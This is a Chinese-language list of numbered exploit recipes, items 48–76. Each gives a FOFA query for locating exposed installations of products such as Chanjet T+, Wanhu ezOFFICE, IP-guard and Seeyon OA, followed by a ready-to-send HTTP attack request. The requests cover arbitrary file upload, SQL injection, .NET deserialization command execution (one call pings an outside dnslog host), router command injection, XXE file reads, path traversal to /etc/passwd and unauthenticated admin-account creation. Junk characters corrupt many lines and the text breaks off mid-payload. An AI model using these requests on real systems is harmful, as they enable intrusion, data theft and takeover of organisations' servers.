* P+ ^0 L0 |: I" V$ _! H7 {9 k- `Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
' j' r7 p- [! T* TAccept-Encoding: gzip, deflate, br
; B8 @$ A) Y! I+ a) CAccept-Language: zh-CN,zh;q=0.9
: {8 J$ A$ ^) D; L( S4 z' f0 Q. @5 E5 H) }If-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
Connection: close
2 J% P( }" M/ B- `" l, M5 y


48. 用友U8 CRM swfupload 任意文件上传
FOFA：title="用友U8CRM"
3 S4 l& A! L' A- i% jPOST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
% s& L' x& j% \- A) q7 _Host: your-ip
1 \* j" e" U* E4 }# C8 D3 ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
7 u9 m' z. W; j. _Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
# b/ e- v( f$ ?Accept-Encoding: gzip, deflate
/ o* [4 [) C# K1 a3 z+ jContent-Type: multipart/form-data;boundary=----269520967239406871642430066855
6 Z0 C( [9 T  B------269520967239406871642430066855
Content-Disposition: form-data; name="file"; filename="s.php"
1231
$ x* i1 ~8 _( _. f6 b7 C! FContent-Type: application/octet-stream
------269520967239406871642430066855
Content-Disposition: form-data; name="upload"
upload
2 D. W3 G2 E. W& S, m------269520967239406871642430066855--

3 P. }- R4 P+ y! A* g! c
/ f- U( x( ~1 V' |3 y% b! d: Q49. 用友U8 CRM系统uploadfile.php接口任意文件上传
' r$ B  v4 ]+ x. b+ @4 T# k" bFOFA：body="用友U8CRM"
& _9 A+ Q& |0 J( n
POST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
  |5 n0 N" ~/ K' }Content-Length: 329
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
3 g! p9 B0 u8 x) d/ P( L0 [! \% `, {Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
' J4 m2 m6 |  e0 d' {Connection: close
Content-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w

  _6 e/ n8 ^  S, q. K& u7 Z-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="file"; filename="%s.php "
Content-Type: application/octet-stream
( s! r1 M" j8 v
wersqqmlumloqa
-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="upload"

! }" G+ b6 Y" |$ h5 |0 iupload
-----------------------------vvv3wdayqv3yppdxvn3w--

. @7 M; M7 s# Z  _
, X% t3 G  |& M" w# c( l8 Thttp://x.x.x.x/tmpfile/updB3CB.tmp.php

3 w8 N. w- I1 r* _* Z) h! D( g# J, N50. QDocs Smart School 6.4.1 filterRecords SQL注入
FOFA：body="close closebtnmodal"
  _2 L5 p; }8 c# [5 b: {POST /course/filterRecords/ HTTP/1.1
Host: x.x.x.x
: Q5 ~* b2 C# f' uUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
4 S; W/ v2 o9 yConnection: close
' ]  C' M+ A2 Q" E; x7 fContent-Length: 224
Accept: */*
5 d0 k! k3 ~! h: I! T: pAccept-Language: en
9 K, s4 M! y; M% IContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
) f, k, T0 I! @' m+ I
searchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1
  O) w) {4 x" z; v1 v
: e& [" m; F' v0 e
6 _% P$ q# g) c( Y51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
FOFA：app="云时空社会化商业ERP系统"
GET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
% i: f1 z7 M: ]+ G- b7 cHost: your-ip
" y7 ^% N/ q3 m' S) ?# O1 SUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
  O: d2 J( F7 Z! a) A& M5 ^Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
( v& C- S: g& ^& ?* k$ T$ Y, zAccept-Language: zh-CN,zh;q=0.9
& I- \7 T9 f: ^. S6 K" ~' y1 aConnection: close
! K+ Z4 M0 g! `1 g  [
1 x/ @. W  [! B4 L, C3 {" S/ [
; d4 L$ ^. N# \# g  n# f% _* A52. 泛微E-Office json_common.php sql注入
FOFA：app="泛微-EOffice"
POST /building/json_common.php HTTP/1.1
Host: 192.168.86.128:8097
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
' U9 |  x1 ~) _, f( ?3 A* H1 @% M' eConnection: close
Content-Length: 87
" r& g* }. Z$ w9 R4 [  _Accept: */*
7 ]+ j+ a9 x: B) e" @' ]  mAccept-Language: en
Content-Type: application/x-www-form-urlencoded
9 p8 r# L+ X3 d" X* e8 v4 ~Accept-Encoding: gzip

1 }' M, r1 g0 s7 ?9 Qtfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333


3 h3 t: D# B4 `9 m8 p53. 迪普 DPTech VPN Service 任意文件上传
FOFA：app="DPtech-SSLVPN"
/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

# y' l6 J* m! p4 P) C/ y5 I
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
! E9 H2 {. s* H% q4 wFOFA：app="畅捷通-TPlus"
* y' D$ O8 l3 n: }# A- \# e. O! I第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
2 e$ Y: J# E6 ["/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"

3 C  s# \4 @, e1 j
完整数据包
POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
* L3 l/ l- S- {" dHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
Content-Length: 593
8 n# X: L! w/ [
  l! }- A% N( r5 N3 K5 j{
"storeID":{
, z" m2 T. q6 E( K6 D# |; r. E "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
% V8 ~; v/ W3 U2 [- H "MethodName":"Start",
" P4 p- Z  I+ `$ Z9 `  "ObjectInstance":{
   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
5 o9 [+ O$ U/ V- R  e& @    "StartInfo":{
! v' f! }) M2 G   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "FileName":"cmd",
% Y( B- h1 P4 ^3 M# w    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
+ ?! w3 V/ B1 M& p6 m2 g+ i$ V    }
. P* y* o; A7 O5 B+ Z  }
5 r/ F; y( R: Z  t/ C- R& U% |  }
: X0 f- H9 ^) e% W& q}
/ b: Z8 s. F" u% h9 r
2 y4 R' g2 X/ l' h
第二步，访问如下url
* i& {8 R; y6 x* ]9 T. O) u/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt
. z7 I# c* _6 n! g

55. 畅捷通T+ getdecallusers信息泄露
8 x" B5 f# |0 S9 h5 r% sFOFA：app="畅捷通-TPlus"
第一步，通过
# J' ~8 n0 o/ {" `& l7 a4 m, I/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
第二步，利用获取到的Cookie请求
/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers
5 l6 }! e; s. `/ [" z
, a/ i/ s, ~$ V56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
FOFA: app="畅捷通-TPlus"
. J4 f4 S- m/ K" U! KPOST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
4 z& b& a, Y7 S1 Y1 t  i6 WHost: x.x.x.x
9 z; z" z2 R1 |- d& y* mUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/json

{
  "storeID":{
    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
3 Z. J$ q- o  p1 M$ E4 ~3 z   "MethodName":"Start",
    "ObjectInstance":{
6 \5 |, F1 P3 Z- e0 a! w. P       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
; |# b) Z$ e; L3 R        "StartInfo": {
# y+ @/ f/ B) u& M& l4 u           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
8 P7 ]6 m4 O9 ]       }
8 V1 D  _- J% o" X5 n    }
$ W8 i& v, |+ a% E9 b8 d, l- a( B  }  }
& Y5 a0 s0 {9 {# K% B9 U}
$ e2 X8 {! X( p

57. 畅捷通T+ keyEdit.aspx SQL注入
& W  j) |' I% g: j# S1 ]" d: nFOFA：app="畅捷通-TPlus"
3 E' o1 Q# e+ i: v) [GET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
9 j) D* J# i$ g" j, ZHost: host
. |7 ]' I* }, g2 I" h* |User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
+ g' i! H9 Q9 `, ^( R1 k! }Accept-Charset: utf-8
% [6 J# L, S/ Z, Q9 xAccept-Encoding: gzip, deflate
Connection: close


58. 畅捷通T+ KeyInfoList.aspx sql注入
4 V# ]4 A, M! d5 B! ?FOFA：app="畅捷通-TPlus"
5 }1 ^4 m1 O. z4 W7 P; qGET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
. s6 K; @$ v) YAccept-Charset: utf-8
( b# Z7 ^) e; g/ M# c3 QAccept-Encoding: gzip, deflate
& m* Q+ Q8 X+ GConnection: close


+ {1 r! |5 W3 g0 E3 V# w59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
FOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
, ^% H% n3 J; C& z: W) ?Host: 192.168.86.128:9090
3 B5 k8 I4 d4 C8 u1 r3 ZUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
0 i9 T% D* J" RContent-Length: 1669
5 m& w! u& d" vAccept: */*
Accept-Language: en
% Z$ o% h9 X. ?' C0 q9 C! t1 nContent-Type: application/x-www-form-urlencoded
; H, e6 r, i3 d% bAccept-Encoding: gzip
) ]; M' |; Y- w
' K; i7 q! ]1 x% ]6 L) oPAYLOAD
3 Y, R# ~5 X) Z6 b; w  E

60. 百卓Smart管理平台 importexport.php SQL注入
FOFA：title="Smart管理平台"
GET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
! c% m7 \- f+ a4 S: t; k6 d1 Q% pHost:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
0 j  U& D8 ~" o( y0 a+ f& Y2 H
  \- I3 B3 R+ @; y6 P, s8 p
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
$ N& X0 x4 t. T. n% g) b  gFOFA: title="欢迎使用浙大恩特客户资源管理系统"
8 O* n! G/ q5 Y% O2 X- c! e% R1 uPOST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
/ A, \# p  i  a2 cHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
7 j7 E6 |' g0 d9 hConnection: close
8 s4 R* e0 C0 p5 F& M' q( xContent-Length: 27
6 P7 ]: m0 k% P6 [& PAccept: */*
/ d, ^! }  w3 w& H4 O' j% NAccept-Encoding: gzip, deflate
  n# W" s3 A4 s! z  }) DAccept-Language: en
Content-Type: application/x-www-form-urlencoded

8uxssX66eqrqtKObcVa0kid98xa
- q/ C' ]+ H, W
6 G+ e5 Q) p: [+ K/ O# d
; O  b; o2 g6 o2 H) e! I62. IP-guard WebServer 远程命令执行
FOFA："IP-guard" && icon_hash="2030860561"
: h1 Y: m& Q2 R4 E% dGET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
+ ]$ s: o4 L5 t" s1 {+ V$ ]Host: x.x.x.x
. C  C* g/ ]) H, KUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
Connection: close
# \: O6 K! y  ~8 v/ Y" W+ C1 T$ @Accept: */*
Accept-Language: en
  _" C; c$ O) g, c  ]3 s% z' D" `Accept-Encoding: gzip

0 {: c+ @; _- D, C! z+ l* Z# ^
访问

% s; D4 U8 Z- ^) |GET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
2 t5 l6 p4 @9 N+ @6 ^2 f! X

7 m- w  F# ~0 K  U7 L; `- y& a- O63. IP-guard WebServer任意文件读取
IP-guard < 4.82.0609.0
0 E; \6 W0 _) rFOFA：icon_hash="2030860561"
POST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
( {4 G. E3 B4 o7 J. l4 I7 v! @( AHost: your-ip
9 D6 c3 [% q+ E( s8 O, y% FUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
# N; _7 e* |9 o- ]Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
) E1 O4 p, l6 k( F, rConnection: close
Content-Type: application/x-www-form-urlencoded

path=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A
  e8 a, a2 f) E
- Y) u% G; d0 D0 q2 ^. T, {64. 捷诚管理信息系统CWSFinanceCommon SQL注入
( |0 }0 o: U" W. X, [! GFOFA：body="/Scripts/EnjoyMsg.js"
POST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
Host: 192.168.86.128:9001
9 x! g! x9 }* O2 U) a  F, CUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Connection: close
8 C1 l, E+ i2 o6 a; KContent-Length: 369
Accept: */*
( B3 k* y- d" I3 `% VAccept-Language: en
7 v, m# g0 m4 ~: L' E7 |6 lContent-Type: text/xml; charset=utf-8
Accept-Encoding: gzip
4 Z" Z' g0 r' }
$ V5 p3 l1 g- u, k4 J<?xml version="1.0" encoding="utf-8"?>
# G) i8 a7 C# X0 T<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
    <GetOSpById xmlns="http://tempuri.org/">
! E6 T8 s3 d5 _      <sId>1';waitfor delay '0:0:5'--+</sId>
* |5 B* }& t1 Y    </GetOSpById>
  </soap:Body>
( Z1 z. I3 ^4 `2 Z, I2 E+ h3 m</soap:Envelope>
# ~* m1 }, V: [5 Z9 [6 u/ ^

) j2 K) l- L' {9 y* U9 M% O: W65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
FOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
响应200即成功创建账号test123456/123456
POST /SystemMng.ashx HTTP/1.1
. A$ }/ |: l. VHost:
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
0 Q5 V( s4 q; w0 kAccept-Language: en
5 X& t" T" K% j1 Z  m  t+ DContent-Length: 174
- X% U) M: M4 H7 P' h
operatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators
( Z2 l8 D/ }% A& g& v# B

66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
# D! ^" k$ s# f  D* [FOFA：app="万户ezOFFICE协同管理平台"
  f7 i" v/ v# N6 n6 N
) P$ c5 Z4 Q* s' u' B; {" J3 qGET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
1 h# H( H2 I! \; r  z2 r# w6 z1 Q" vHost: x.x.x.x
) }9 k* a3 T; {( ^User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
  M% z$ i9 }* p- M& ~

( |+ x# @! o+ t0 s8 O! e第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在
1 C! v5 a4 ?1 E2 k6 r. [/ Z/ q* u7 D
67. 万户ezOFFICE wpsservlet任意文件上传
FOFA：app="万户网络-ezOFFICE"
newdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
4 k# W" D# _! q' w; `POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Content-Length: 173
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
9 t: f1 x+ j$ E  j3 v6 cConnection: close
( t  U3 J# b) N" oContent-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
DNT: 1
; k) Z( b5 x! oUpgrade-Insecure-Requests: 1
% A$ ?! g" [" w/ q8 v
+ O' q9 n: Q) I, ]; [--ufuadpxathqvxfqnuyuqaozvseiueerp
: g0 T* x3 U3 H7 I  GContent-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"
$ z7 [, ^9 ~7 o: z( V
3 L# p# M( ^) E) L% ]5 c<% out.print("sasdfghjkj");%>
--ufuadpxathqvxfqnuyuqaozvseiueerp--

$ f7 W$ B' @$ g, }
: Y6 Z7 ^3 I4 w( O+ H1 U0 I5 Y文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp

68. 万户ezOFFICE wf_printnum.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
/ `# G+ A! I5 Q5 BGET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: {{host}}
3 M/ D$ z' ?/ Z1 V& GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
; I4 x% {- L2 s- B) a1 D! ^Accept-Encoding: gzip, deflate
3 p: t- a" G  x& `. J3 DAccept-Language: zh-CN,zh;q=0.9
Connection: close
* H- W( \! ~2 s2 b

+ q% r8 i$ r+ ^1 C4 l# I8 M. {69. 万户 ezOFFICE contract_gd.jsp SQL注入
+ c- h. t" F1 |, J/ K( O4 {FOFA：app="万户ezOFFICE协同管理平台"
8 d% {- m' m# [! Z# PGET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
Host: your-ip
  T2 X$ w( ?. K0 R+ SUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
, e* k, ~2 z; a) k: H4 U% DAccept-Encoding: gzip, deflate
Accept: */*
% y0 h" h4 K8 P8 B7 gConnection: keep-alive

8 J# l+ Q! w" m0 \) h, J# _. k
70. 万户ezEIP success 命令执行
& J; t% P& l7 Y- a0 f5 ?' @. N7 R# v6 x1 WFOFA：app="万户网络-ezEIP"
POST /member/success.aspx HTTP/1.1
Host: {{Hostname}}
: v' L  _  {# y; |6 zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
, w$ f7 d" p  oSID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
" W7 c; u9 u  X8 FContent-Type: application/x-www-form-urlencoded
TYPE: C
! u  X2 A+ ]4 _6 B0 t' a( _Content-Length: 16702

__VIEWSTATE=PAYLOAD
( l$ y3 F- K' g1 A# I5 M

71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
FOFA：body="PM2项目管理系统BS版增强工具.zip"
% `! T* _, L6 |" a5 n3 QGET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
: T& B! O1 h$ ^& MAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
" `4 ?) Q: u0 ]0 |Upgrade-Insecure-Requests: 1
  J& N$ M6 A" X0 J' \2 ~) B1 S

8 Q$ L4 ?2 M$ J  n72. 致远OA getAjaxDataServlet XXE
; ?2 d' }) B2 A3 V; BFOFA：app="致远互联-OA"
- s' \% R! W2 H' X3 I! {' _POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
Host: 192.168.40.131:8099
; G7 v$ r2 l) P' {User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
" T* J2 e2 I. e* T4 r0 v, b! yConnection: close
- V# {4 A: \) M: `  ZContent-Length: 583
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

S=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E

' `5 H: T: M" b: A. o
73. GeoServer wms远程代码执行
, S1 P" M9 T7 K* j. a- i7 S  M) XFOFA：icon_hash=”97540678”
, \1 _  f5 i, i( y( O' p! z/ cPOST /geoserver/wms HTTP/1.1
' ^/ ?# e8 T1 k0 U1 a$ zHost:
+ K8 w2 L2 r" o( O9 k6 D) @; |0 ZUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
8 r0 @4 C/ Y3 w) h- ]Content-Length: 1981
Accept-Encoding: gzip, deflate
8 f/ P3 ]4 L' I& {  ~) E' cConnection: close
3 {2 x7 T. _! [# ?$ M. LContent-Type: application/xml
SL-CE-SUID: 3
5 ~# H& K: X5 I" u" d! y) u
+ a, j' a+ b" _& J" _PAYLOAD


74. 致远M3-server 6_1sp1 反序列化RCE
% V) Q4 Y  `& {; E: c/ bFOFA：title="M3-Server"
9 G$ }" R3 L" f" v! k& \1 hPAYLOAD
" N; ^3 L- u, f, l. f& M( r, q
8 N" P+ X0 V0 c3 V75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
- o% J: {/ c. m0 T6 WFOFA：app="TELESQUARE-TLR-2005KSH"
GET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
1 M8 f$ R% g" ?6 k, JHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
% Y8 d: N9 c/ Q- x2 @Connection: close
  @- b) w2 h* b/ ^5 M  g/ l! HAccept: */*
Accept-Language: en
7 N0 r0 ]2 y8 I/ m+ ~Accept-Encoding: gzip

) U4 v) W& g% w9 i6 ~& c
! ~4 ~$ f. S! ^% Y5 b4 c1 AGET /cgi-bin/test28256.txt HTTP/1.1
Host: x.x.x.x
1 e1 p) _3 S. Q) p& ^( k  ~
1 o! V& i" @# u
; G) Y$ ^6 |$ D4 n; p+ f% V76. 新开普掌上校园服务管理平台service.action远程命令执行
FOFA：title="掌上校园服务管理平台"
/ `* ]  f0 K. h9 MPOST /service_transport/service.action HTTP/1.1
Host: x.x.x.x
! {4 l7 @  r+ `/ w! F: [4 Z) q2 c3 RUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 211
% z6 I. Q8 Y! i0 i8 g: YAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
% v1 a; _* u$ |' k" ZAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 b( q1 M2 y0 j$ J0 n& l0 `! @Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
9 ~5 ?2 T  R8 o! v( Z7 v( pUpgrade-Insecure-Requests: 1
* w0 G6 [* N" M# h- N  u$ `% M$ I
- w* z& f. t. ~5 M% y0 [, G) d% J{
% k, F8 U0 Z9 D"command": "GetFZinfo",
  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
